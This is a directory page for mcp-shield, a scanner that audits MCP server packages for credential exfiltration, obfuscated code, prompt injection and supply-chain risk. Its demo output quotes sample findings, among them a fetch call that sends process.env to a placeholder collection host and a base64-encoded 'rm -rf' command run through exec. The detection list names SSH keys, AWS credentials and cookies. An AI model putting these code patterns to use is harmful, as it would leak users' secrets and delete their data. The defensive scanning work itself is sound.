Skip to main content
Glama

mcp-shield

一个用于 MCP 服务器的安全扫描器 —— 在后门、数据外泄、提示词注入和供应链风险到达您的 AI 之前将其检测出来。

MCP 生态系统正在快速增长。并非 npm 上的每个服务器都是安全的。mcp-shield 让 Claude 能够在您将文件、密钥和上下文交给 MCP 服务器之前,对其进行审计(无论是本地服务器还是来自 npm 的服务器)。


检测内容

类别

示例

数据外泄

通过网络发送 process.env,访问 SSH 密钥,读取 AWS 凭证

代码执行

eval(), new Function(), child_process.exec(), 动态 require()

混淆代码

Base64 运行时解码,十六进制编码的载荷,字符代码数组

敏感文件访问

.env, id_rsa, 浏览器 Cookie, ~/.gitconfig

提示词注入

隐藏指令,零宽字符,角色切换攻击,越狱模式

供应链

包的发布时间,下载量,维护者数量,依赖项中的 CVE


演示

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

工具

工具

功能

scan_package

下载 npm MCP 包并扫描其中的恶意模式

scan_directory

扫描本地 MCP 服务器目录(从 GitHub 克隆等)

check_prompt_injection

检查工具描述或响应中是否存在隐藏的注入

audit_supply_chain

获取任何 npm 包的信任评分、CVE、维护者数量和发布时间


安装

选项 1 — npx (无需安装)

claude mcp add mcp-shield -- npx mcp-shield

选项 2 — 全局安装

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

选项 3 — 手动配置

添加到 ~/.claude/claude_mcp_config.json

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

使用示例

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

工作原理

静态分析 — 使用包含 5 个类别中 20 多种攻击特征的正则表达式库扫描 JavaScript/TypeScript 源代码文件。

供应链审计 — 查询 npm 注册表以获取包元数据,然后运行 npm audit 以发现依赖树中已知的 CVE。

提示词注入检测 — 检查工具描述和响应中是否存在零宽字符、指令覆盖、角色切换攻击以及其他针对 LLM 的技术。

--ignore-scripts 安装 — 在扫描 npm 包时,使用 --ignore-scripts 进行安装,确保在分析过程中不会运行恶意的 postinstall 钩子。


贡献

欢迎提交 PR。检测模式位于 src/patterns.ts — 添加新的特征只需增加一个对象。

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

许可证

MIT

Install Server
A
security – no known vulnerabilities
A
license - permissive license
A
quality - A tier

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/muhannad-hash/mcp-shield'

If you have feedback or need assistance with the MCP directory API, please join our Discord server